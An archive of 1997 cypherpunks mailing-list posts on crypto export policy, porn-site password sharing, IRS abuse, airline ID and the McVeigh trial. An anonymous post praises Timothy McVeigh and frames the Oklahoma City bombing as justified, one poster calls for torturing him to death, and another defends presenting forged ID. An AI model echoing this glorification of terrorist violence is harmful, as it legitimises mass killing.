>    that had leaked out to the Net. Alba was the latest victim of... Porn
>    Piratz!
> 
>         A huge number of passwords to pay-only porn sites are loose on
>    the Net. Just surf newsgroups like alt.sex.passwords or do a simple
>    search through a typical web engine and long lists of logins are easy
>    to find. Some of these logins are giveaways from people who ponied up
>    the low, one-time-only flat fees that many sites charge. Others,
>    apparently, were obtained with phony credit card numbers. Who knows
>    how Porn Piratz get the rest. But they do: A Hustler executive told us
>    that Hustler's sites have seven times its paid membership logging on
>    every day.
> 
> [...]
> 
> --- end forwarded text
> 
> 
> 
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/
> 
> 
> 
> For help on using this list (especially unsubscribing), send a message to
> "dcsb-request@ai.mit.edu" with one line of text: "help".
> 

=====================================================================
Donald E. Eastlake 3rd     +1 508-287-4877(tel)     dee@cybercash.com
   318 Acton Street        +1 508-371-7148(fax)     dee@world.std.com
Carlisle, MA 01741 USA     +1 703-620-4200(main office, Reston, VA)
http://www.cybercash.com           http://www.eff.org/blueribbon.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 5 Jun 1997 22:26:18 +0800
To: cypherpunks@toad.com
Subject: IRS Hit
Message-ID: <1.5.4.32.19970605134956.008db240@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



5 June 1997, NYP:

A federal judge in Denver has awarded $250,000 in punitive 
damages to a woman whose family business was raided by armed 
Internal Revenue Service agents four weeks after the woman 
insulted an IRS agent.

The revenue agents padlocked all three Kids Avenue clothing   
stores in Colorado Springs, and posted notices that some 
customers interpreted as evidence that the woman, Carole Ward, 
49, was a drug smuggler.

In a harshly worded 17-page opinion, Judge William Downes of 
the U.S. District Court in Denver found that one of the IRS 
agents, James Dolan, was "grossly negligent" and acted with 
"reckless disregard" for the law, and that he made three false 
statements in a sworn declaration.

The judge, who said the actions by the IRS agents violated 
Ms. Ward's privacy rights, wrote that the punitive damages 
award "gives notice to the IRS that reprehensible abuse of 
authority by one of its employees cannot and will not be 
tolerated."

-----

Full story at:

   http://jya.com/irshit.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 6 Jun 1997 01:21:40 +0800
To: cypherpunks@Algebra.COM
Subject: "Clinton has done a great deal for Intel"--more trolling
In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com>
Message-ID: <v03102802afbca1f22330@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:03 AM -0700 6/5/97, Kent Crispin wrote:

>Clinton has a *very* successful career as a politician, and has done
>a great deal for Intel, in that role.  And he is a great family man
  ^^^^^^^^^^^^^^^^^^^
>who also gets along well with a host of people.

Another absurdity. Clinton is the President. There is _nothing_ of any
significance Intel has ever sought from the government. Except for the
government to get off its back.

When I was there the government was in fact very frustrated with Intel for
not entering the "mil-spec" market in any serious way. The government
wanted to buy 8080s, 8086s, etc., and we said, "Fine, send us an order.
We'll even charge you $500 more per chip if you want us to shake them
around at a lot of Gs, cook 'em in a pressure pot, and then stamp them
"MIL-SPEC."

We refused government contracts. I did some volunteer work (a few days) for
them on directed energy weapons, some work for DARPA and the Naval Research
Lab, but there was no charge for this, and certainly no "help" for Intel
from the then-President.

Intel also was a reluctant participant in the g-job labs, including the MCC
in Austin (never a real member), and only in the last few years has it
bowed to the inevitable by undertaking some joint efforts with the labs it
has so heavily been taxed for.

To call this "help from Clinton" is absurd.

(By the way, Andy Grove and Gordon Moore were supporters of Bush in '92 and
of Dole in '96. They actively opposed the "Clinton-friendly lobby" in the
Valley, the John Sculleys and whatnot who hobnobbed with Clinton. Clinton
I'm sure does not see Intel as his ally in any way.)

More trolling from Crispin. Why am I not surprised?

---Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 6 Jun 1997 03:16:06 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <v03102809afbc01d62f74@[10.0.2.15]>
Message-ID: <v03102800afbca3a014c9@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I believe this is a bad policy, and think it should be opposed.  Perhaps a
>law
>should be considered to change this.  But obviously many people here would
>tell me I could just take another mode of transportation, such as riding the
>bus.  Airlines are private corporations owned by their owners, not by their
>riders.  The airlines apparently have a right (as Delta is doing) of
>demanding
>any prerequisite they wish for travel.  In the case of Delta, the
>prerequisite
>is "May I see your papers, please?"
[snip]
>I'm curious where the people here stand on such a policy.  Do you feel that
>positive ID to fly on a plane should be permissable?  How about a law to
>put a
>stop to it?

It is illegal to present forged government identification for matters
involving goverment business or commercial business regulated by federal
laws requiring such ID (e.g., purchase of cigarettes), but should it be
illegal to present forged government IDs in other circumstances when no
government regulation requires their presentation (the points regarding
contractual agreement not withstanding)?  I agree that airlines should be
able to condition travel based on requisite identification, but I believe I
should be able to present forged identifiction with no possibility of
criminal presecution.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Fri, 6 Jun 1997 01:41:26 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <wTXs8D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970605101214.2888A-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 4 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

> Rant: I think Joseph Stalin was a cool guy, even though he had my great-grandpa
> shot (who was btw a U.S. citizen).
> 
> One of the many interesting contributions Joe Stalin made to the Marxist
> theory was the observation that the class struggle intensifies as the
> old mode of production becomes obsolete; and that there's really no difference
> between "terrorist acts" and government-sponsored violence and economic
> deprivation.  You might view the second statement as the generalization of
> Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign
> policy by other means.

Well couldn't class struggle simply mean the difference between wielding
large quantities of power and not.  If thats the case then Stalin was
the ultimate hypocrite when his wonderful revolution attained of
temporary system of government.  That system of government was unstable
in that in failed to allow people to provide for their own and each
other's welfare through free market activity.

As resistance to centralized modes of production increased (especially
with the farmers), the central government systematically starved 20
million people to death.

Reminds me a lot of Orwell's "Animal Farm".

Though I do agree in principle with the idea that corruption runs rampant
at the end of a megapolitical era (for more or less the same reasons),
Stalin was not the first to have this idea.   For a run-down on this
concept check out the much-maligned "Sovereign Individual".


> Consider, for example, a Black child in the United States who dies of
> a trivial curable disease because of the lack of health care. Consider
> the child's parents who labor "off the books" in menial jobs, who are
> deprived by the state from the ability to marry, to work "on the books",
> to hold a bank account, et al. Is being deprived from the results of one's
> labor that different from being sold at an auctioned and whipped in
> a public ceremony to terrify other (wage) slaves?
> 

No.  I agree with you here.  I think the difference is in the resolve
of the individuals under this kind of pressure.

> Joe Stalin himself took part in several spectacular terrorist acts in
> his youth, which resulted in deaths of dozens of "innocent bystanders".

make that millions

> Prepare for crypto to be criminalzed.

definitely.  but under what system of law?  for all practical purposes the
constitution is null and void.  the people that run this country do so
under the guise of constitutionalism, but its all a grand facade.  the 
whole idea of the current government is a type of consensual reality.
(literally so, perhaps?)  When enough people agree that the version of
reality no longer serves them, they will agree that it doesn't exist.

This, of course, assumes they have the power to alter it.

> Prepare for the former cpunks who
> "sold out" (C2Net and the like) to support criminalization of crypto use
> within the U.S. in exchange for a possible relexation of export rules.

I'm not sure I understand why you assert that C2Net "sold out".  I was
probably out of town at the time this discussion went down.


Jim Burnes






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Thu, 5 Jun 1997 23:25:55 +0800
To: cypherpunks@einstein.ssz.com
Subject: Interesting article.
Message-ID: <199706051449.JAA05813@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



Full story at http://www.news.com/News/Item/0,4,11249,00.html?latest

Leaders want crypto rules lifted.
                
By Reuters
June 5, 1997, 7 a.m. PT 

WASHINGTON--Computer industry captains called
on President Clinton yesterday to drop efforts to
regulate data-encryption technologies, a move the FBI
warned would cripple law enforcement and leave the
country more vulnerable to terrorism. 

In an open letter to Clinton, Bill Gates, chairman and
chief executive officer of Microsoft, and 12 other
industry titans said U.S. competitiveness in
electronic commerce was at stake in the debate. 
----------------
Peter Trei
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Thu, 5 Jun 1997 19:18:23 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: McVeigh is not the issue!
In-Reply-To: <3.0.2.32.19970605042555.00712ad0@mail.atl.bellsouth.net>
Message-ID: <Pine.LNX.3.91.970605114105.1410A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> I believe this is a bad policy, and think it should be opposed.  Perhaps 
> a law should be considered to change this.  But obviously many people 
> here would tell me I could just take another mode of transportation, 
> such as riding the bus.  Airlines are private corporations owned by their 
> owners, not by their riders.  The airlines apparently have a right 
> (as Delta is doing) of demanding any prerequisite they wish for travel.  
> In the case of Delta, the prerequisite is "May I see your papers, please?"

A brief reading of the above rant should illustrate to anyone who was not 
convinced previously that Robert has gone over the edge.

Who are you to decide what the privately owned airline asks for a 
prerequisite of allowing you to travel on their planes?
They are free to enforce whatever terms they wish in a private contract 
between themselves and the passenger. If more people refused to travel on 
airlines because of their requirements they would stop asking for ID. If 
the giving of real, genuine ID were not mandated by law you could just 
give a false ID card (providing the contract had to clause against this).

Where did you obtain such a strange view of the world as to believe a 
private corporate entity cannot enforce whatever contract it wants?

> I believe in anonymous travel, just as I believe in anonymous speech, and 
> anonymous transactions.  I recently subscribed to this list to help mature my 
> views on issues such as collection and verification of electronic database 
> information by private and gov't entities.
> 
> I'm curious where the people here stand on such a policy.  Do you feel that 
> positive ID to fly on a plane should be permissable?  How about a law to 
> put a stop to it?

The fact is the government has no right to demand that true genuine ID be 
given under any circumstances. The corporation can in a private contract 
demand that the ID it is given is genuine, breach of this contract will 
carry whatever penalties are negotiated and included in the contract.

An anarchist society may not necessarily be more private than a police 
state, one merely has the right to choose in the former. If the contract 
between myself and an airline demands that I release information I am not 
happy releasing, I can walk away. If I have no other means of transport 
then I have only two choices: Travel or don`t. 
Your views appear to me to be more socialist than anarcho-capitalist or 
even minarchist. 
I would personally much rather see a world where my private information 
is free for everyone to see, than one where corporations and private 
individuals are not free to make whatever contracts they want, of course, 
the two are not mutually exclusive.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 6 Jun 1997 03:32:23 +0800
To: cypherpunks@toad.com
Subject: Mr. Gates goes to Washington, from The Netly News
Message-ID: <Pine.GSO.3.95.970605121403.1309F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 5 Jun 1997 12:13:40 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Mr. Gates goes to Washington, from The Netly News


**********

http://cgi.pathfinder.com/netly/opinion/0,1042,1022,00.html

The Netly News Network
June 5, 1997

Mr. Gates Goes to Washington
by Declan McCullagh (declan@well.com)

        For Siliconaires like Bill Gates of Microsoft, Eric Schmidt of
   Novell and Jeff Papows of Lotus, Washington is a city made pleasant by
   absence. They view its labyrinthine bureaucracies and hidebound
   institutions as something between a minor hindrance and an
   insurmountable obstacle to the important business of making
   profits, not public policy. So it was no surprise to see the high-tech
   trio join seven other executives yesterday at the National Press Club
   to rail against the Clinton administration's restrictions on overseas
   sales of encryption products.
   
        This Billionaire Boys' Club was especially keen on praising two
   bills that would generally relax export rules. "We clearly support the
   House and the Senate bills that are on the Hill in their original
   form. Getting reform done now is a huge priority for all of us," said
   one. "There are bills in the House and the Senate that are totally
   acceptable, and if those bills are passed they'd solve the problem,"
   another added.
   
        But perhaps Bill Gates should have spent less time writing BASIC
   interpreters and more time in civics classes, because these bills are
   far from perfect. In fact, they may be downright dangerous.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Fri, 6 Jun 1997 00:31:23 +0800
To: Paul Bradley <paul@fatmans.demon.co.uk>
Subject: Re: McVeigh
In-Reply-To: <Pine.LNX.3.91.970604234636.624F-100000@fatmans.demon.co.uk>
Message-ID: <Pine.SUN.3.96.970605115923.891A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 4 Jun 1997, Paul Bradley wrote:

> Yes, he is guilty of murder and I would favour torturing him to death 
> slowly, this is not emotional reactionism, merely a desire for justice 
> and fair punishment.

You do not know for a fact if he is guilty of murder.  You only know that
he was judged guilty.  Whatever the truth is, you and I, and everyone else
discussing this, cannot know.  McVeigh himself knows if he did it.
Witnesses (if any) would also know.  This is all speculation.

If indeed he is guilty, it's a fair trade.  X number of lives for his own,
for his cause, etc.  IMHO justice is what you make of it.  Were you in any
way affected by his actions?  Did you lose relatives in that bombing?

Personally, I didn't.  I don't call for slow torture because to me, it
isn't justice or injustice.  I was not affected by his actions.  If he did
set off the bomb, life in death, or execution is a valid punishment.  I do
question your reasoning for calling for torture though.  How is that fair
punishment and justice?

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 6 Jun 1997 01:18:48 +0800
To: cypherpunks@toad.com
Subject: Body Bunker Usage
Message-ID: <1.5.4.32.19970605170229.008ee9c8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



We offer excerpts from the Federal Law Enforcement 
Training Center "Catalog of Training Programs FY 1997-98":

Financial Fraud Institute

The FFI takes the proactive role of arming the student with 
specialty skills and techniques to develop solid prosecutable 
cases in a range of crimes. Included are crimes involving 
government contracts, procurement fraud, illegal tax shelters, 
complex financial transactions supporting terrorism and criminal
conspiracies, asset removal/seizures, money laundering activities 
involving drug smuggling organizations and other illegal 
enterprises, insurance frauds, electronic funds transfer fraud, 
and employee embezzlement. Also addressed in training are 
technical crimes involving computers and networks such as
unauthorized access to government data systems and complex 
fraud cases using or involving computer systems.

Training programs:

   Computer Evidence Analysis
   Criminal Investigations in an Automated Environment
   Financial Crimes Investigations
   Financial Forensics Techniques
   International Banking and Money Laundering
   International Financial Fraud
   Microcomputers for Investigators
   Money Laundering and Asset Forfeiture
   Seized Computer and Evidence Recovery Specialist
   Telecommunications Fraud
   White Collar Crime
   Windows Applications for Investigations


   http://jya.com/ffi.htm  (34K)

-----

Security Specialties Division

The design, development, and conduct of courses relating to 
antiterrorism, physical security, and officer safety and 
survival is the prime mission of the Security Specialties 
Division (SSD). Courses include; Bombs and Explosives, 
Personal Protection, First Response, Handling Sensitive/
Classified Information, Criminal Information/Intelligence, 
Officer Safety and Survival, Physical Security, Surviving 
Hostage Situations, and Weapons/Explosive Detection.      

Training programs:

   Advanced Physical Security
   Antiterrorism Contingency Planning
   Antiterrorism Management
   Criminal Intelligence Analyst
   Crisis Management
   First Response
   Officer Safety and Survival
   Physical Security Managers
   Protective Security Operations
   Seaport Security/Antiterrorism


   http://jya.com/ssd.htm  (22K)

-----

The former addresses, among others, "encryption/decryption,
disguised data, data hidden by programming techniques,
hackers and phreakers."

The latter addresses, among others, "left-wing terrorism, 
right-wing terrorism, animal rights and environmental 
extremists, assassinations and body bunker usage."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Fri, 6 Jun 1997 01:20:18 +0800
To: "Donald E. Eastlake 3rd" <cypherpunks@toad.com>
Subject: Re: Password pirates plunder XXX sites, from The Netly News
Message-ID: <199706051708.NAA09369@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3963.1071713705.multipart/signed"

--Boundary..3963.1071713705.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit


 >Although you can never completely eliminate it, technological fixes
to do
>velocity checking, source IP address profiling, etc., seem so obvious
I
>just don't see how this can be any sort of insurmountable problem...

Agreed but see bellow

>It should have been obvious from the start that you would have a lot
more
>people trying to steal service from a porn site than from, say, a
Disney
>site.

I think the problem is that a large number of the people who run porn
sites are neither technically sophisticated nor well funded. I suspect
that many do not know how to write a program and can't afford hiring
someone to do it for them.

Its a business where there are low barriers to entry and there are a 
very large number of competitors. One way of discouraging new entrants
is to claim that there are major technical problems...


Phill



--Boundary..3963.1071713705.multipart/signed
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Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bin00000.bin"
Content-Description: "smime.p7s"

MIIBCwYJKoZIhvcNAQcCoIH9MIH6AgEBMQswCQYFKw4DAhoFADALBgkqhkiG
9w0BBwExgdowgdcCAQEwdjBiMREwDwYDVQQHEwhJbnRlcm5ldDEXMBUGA1UE
ChMOVmVyaVNpZ24sIEluYy4xNDAyBgNVBAsTK1ZlcmlTaWduIENsYXNzIDEg
Q0EgLSBJbmRpdmlkdWFsIFN1YnNjcmliZXICEGFDFWiEgdTVot4rXibJq8Uw
CQYFKw4DAhoFADANBgkqhkiG9w0BAQEFAARANI2R6m39UcBCyAMjWOSG1LEg
jCFGWqN5KX4n3I6RFQTA3iyfHHh6iA7vAkxHqihvP38XG71LiJEf/hmaGTny
Hg==
--Boundary..3963.1071713705.multipart/signed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 04:59:38 +0800
To: frissell@panix.com
Subject: Re: Webpage picketing (fwd)
In-Reply-To: <199706041452.JAA01618@einstein.ssz.com>
Message-ID: <3.0.1.32.19970605132805.0076a9c8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:39 PM 6/4/97 -0400, frissell@panix.com wrote:
>>'Publically funded network backbones'? Can you name one (in the US)? 

>The Net is technically and legally a private value-added network.  
>The last bit of the then existing backbone was privatized the weekend 
>following the OKC bombing in April 1995.  (No relation)

Unfortunately, this is not entirely true.  Within US-occupied North 
America (:-), a number of the NAPs are still government funded, 
though many of the big carriers also have direct interconnections rather 
than only peering through the NAPs.   One of the early NAPs, 
the Commercial Internet eXchange (CIX), was created specifically
to avoid the content censorship required for use of the government parts
(the old Acceptable Use Policy, which banned commercial discussion.)
In other countries, your kilometerage will vary substantially.

Also, the DNS top-levels are largely managed by governments or their
subcontractors - not just the root servers and NSI's .com/.org/etc,
but also .fr, .de, .ru, etc.  Some of this may change with the IAHC plan,
but some of it won't really.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 6 Jun 1997 04:06:07 +0800
To: cypherpunks@toad.com
Subject: e$: The greater fool theory of Digicash, quantified, roughly
Message-ID: <v03020955afbca7ee4c44@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 5 Jun 1997 09:31:10 -0400
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  e$: The greater fool theory of Digicash, quantified, roughly

At 10:18 pm -0400 on 6/4/97, Tim May wrote on cypherpunks:

> Chaum said he had to agree that these were good examples, and that he'd
> think about the issue furhter. He speculated during his panel presentation
> that possibly a mechanism could be found to allow such vendor or seller
> anonymity for _educational_ and similar materials, but not for other
> things...Froomkin and I were incredulous.

Sheesh. Silly "exemptions" to seller anonymity like this one indicate to me
that Chaum & Co. will *never* license the blind signature patent to anyone
with an actual useful purpose for it.

We're all going to have to sit around for another 10 years until that
patent's unencumbered for there to be any valid market for anonymous
digital cash -- or the other kinds of instantly-settled digital bearer
certificates that the patent enables. I suppose that's justice, as it means
that Chaum & Co. aren't going to make any money on the blind signature
patent, either.

If they don't wake up, that 10 years will be over soon enough. In about 5
years or so, just about the time this round of financing fantasy runs out,
potential developers will probably just decide to stick it out for the
remaining 5 years they don't have to pay a royalty. Digicash, Inc., will
become yet another a $10 million (at last estimate) technology rathole.
That $10 million, of course, doesn't include the current purchasers of the
technology, who are being left high and dry by Digicash's inability to
understand what market they are in.

First a bank, then a software company, now a credit card association
equivalent (onk?!), Digicash never has figured out that the only thing they
are is a financial cryptography company. The first, and best, of course,
but still financial cryptographers. Like Dolby, they should only license
and certify applications of the technology they invent. Period. Chaum could
have done that easily enough, say, $9.5 million and 10 years ago. He would
have gotten to keep all the family money he sunk into fun stuff like the
Digicash Building in the Netherlands and sales offices all over the planet,
because all he needed were a few cryptographers and licensing lawyers. He
would have probably gotten at least triple the $9.5 million of shareholder
equity that he wasted, all back in actual revenue over the intervening
years. Without spending a dime more in further capitalization. He would
have gotten a gross return on that $500k 1987 investment of say,
(30mil/500k ) = 6000%, just on earnings alone. If he went public in the
interim, a conservative estimate of market capitalization, assuming a
simple linear revenue growth curve (yielding a current revenue of $6
million a year) and a very conservative P/E ratio of 10, gives us
(6mil*10)= $60million. That's probably before the internet commerce
hockey-stick earnings kicked in, much less the rediculuous Netscape-era P/E
ratios internet companies now command. In engage in a little market-speak,
"what an incredible bungle of a unique value proposition". ;-).

Anyway, the Greater Fool Theory of Digicash has been proven once again,
with Chaum's own words as relayed by Mr. May.

Now maybe we know why J. Pierpont Morgan fired Edison from General Electric.

Hmmm... And why Negroponte fired *Chaum*?

Hey! Maybe there is hope?

Naaaaah....

Notice, of course, that Dr. Dolby (or his estate and heirs) probably still
owns his company, and is doing very well, thank you.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

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Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 6 Jun 1997 05:01:17 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Government money, Net picketing, and public fora (fwd)
In-Reply-To: <199706051315.IAA05428@einstein.ssz.com>
Message-ID: <3.0.1.32.19970605134859.007681f8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 08:15 AM 6/5/97 -0500, Jim Choate wrote:
> Accepting public money does increase the criminal and civil obligations
> of the recipient as well as providing a lever for 3rd parties to become 
> involved on civil grounds.
>
>I'm not sure how I can get this idea through.

You're not doing very well.  I can see a number of possible meanings:

1) You want to be able to "picket" other people's net traffic,
and think that the amount of government funding out there gives you some 
standing to force some parts of the net to carry your "picket signs".
And therefore you keep posting similar vigorous assertions, in response
to other people's contentions that this would be bad.

2) You do/don't/don't-care think it's a good idea, but you're
trying to make the point that it _is_ theoretically something the
government could require, and are trying to get people to accept
this concept while they're arguing either that it would be bad,
or that it's not something they could require.

2b) As above, but you're further contending that, to be consistent,
the government _must_ apply their standards for picketing, union 
elections, etc., to the Internet (again, regardless of whether you
think this is good, bad, or ugly.)

3) You think that it would be OK for a service provider to do this
(whether or not you think it's a good idea) and are contending that
it's ok, while you think other people are arguing that it's not ok.

4) You want to accomplish something _like_ picketing, and think that
intercepting the picketee's traffic is required, as opposed to other
picketing-like methods available, and are trying to get agreement?

Is one of these your point?  Or is it something else, and I just don't
get what you're point is?  To me, it looks like you're just asserting
the same stuff repeatedly, and it's not clear why....



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 05:18:22 +0800
To: cypherpunks@toad.com
Subject: Kill the children!
Message-ID: <199706052104.OAA03298@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



 When the United States Government murdered the child of Saddam Hussein
the common American attitude was "broken eggs, and all that." I know
because I lamented the act and was roundly criticized as an idiot who
didn't understand how the real world works, etc., etc, justify, justify.
 When the chickens come home to roost, however, after yet another U.S.
Government act of aggression, there is a great hue and cry throughout
the land about only a "monster" could kill children. Suddenly, the lives
of children become so precious and sacrosanct that those responsible for
taking those lives must be given supreme punishment.

  God bless Timothy McVeigh for exposing the mindless hypocrisy of the
American people, as well as the _mindful_ hypocrisy of the Government
Rulers of Amerika.
  Billy Graham, as the populist representative of Christianity, visits
the White House but we are little likely to see him visiting McVeigh
because some children's lives seem to be more precious than others, and
those who take them are subject to different moral judgments.

 A famous newspaper correspondent received a telegram from his editor
questioning his expense report, which listed a huge bill for a breakfast
which included caviar.
 The reporter telegraphed back, "Eggs is eggs."

 The message of the American people and the U.S. Government is being
received loud and clear: "American eggs are more precious than foreign
eggs. The eggs of _normal_ (translate=="mainstream") Americans are more 
precious than _aberrant_ (translate--"cult") eggs."
 The message of the American news media is loud and clear: "Break some
lifeless buildings with your bombs and we will make you a side dish in
the back pages of some minor publication. Break enough eggs and we will
make an omlette big enough to feed the entire world."

 Waco was nothing more than a "wake-up call" that many Americans slept
through. Timothy MvVeigh did not--he woke up and crowed loud enough for
all of us to hear. The American government, people and press, however,
want merely to shut him up and go back to sleep, pretending that there
still isn't enough light to see their own sins and rectify them.
 There are no telling how many lives could be saved if the press wrote
meaningfully about the inevitability of chickens coming home to roost
instead of supporting the notion that the solution to a crowing cock is
to cut his head off.
 There are other roosters in the barnyard. There will be more sunrises.

 Americans are now loudly calling for McVeigh to receive an electrical
message complaining about the high cost of the breakfast bill on the 
expense report he provided us.
 I wouldn't be surprised if his final words were, "Eggs is eggs."

Anne Accountant





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Fri, 6 Jun 1997 05:19:44 +0800
To: cypherpunks@cyberpass.net
Subject: TV Commercial
Message-ID: <v03102804afb1690a6994@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



Today on TV, I saw an advertisement.

Image:	Two ships exchanging searchlight-type signals.

Voiceover:
	It's common sense, really.
	You should be able to communicate with anyone
	without worring about the security of your communications.

	Sprint PCS. Secure digital communications.

It's nice to see that a large multinational corporation is
publicly expousing cypherpunk attitudes.

(The reality of their phones is not as encouraging, but...)

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Fri, 6 Jun 1997 02:53:17 +0800
To: cypherpunks@toad.com
Subject: Re: McVeigh? Nimrods.....
In-Reply-To: <m8oT8D10w165w@bwalk.dm.com>
Message-ID: <339714A7.66A7@popmail.firn.edu>
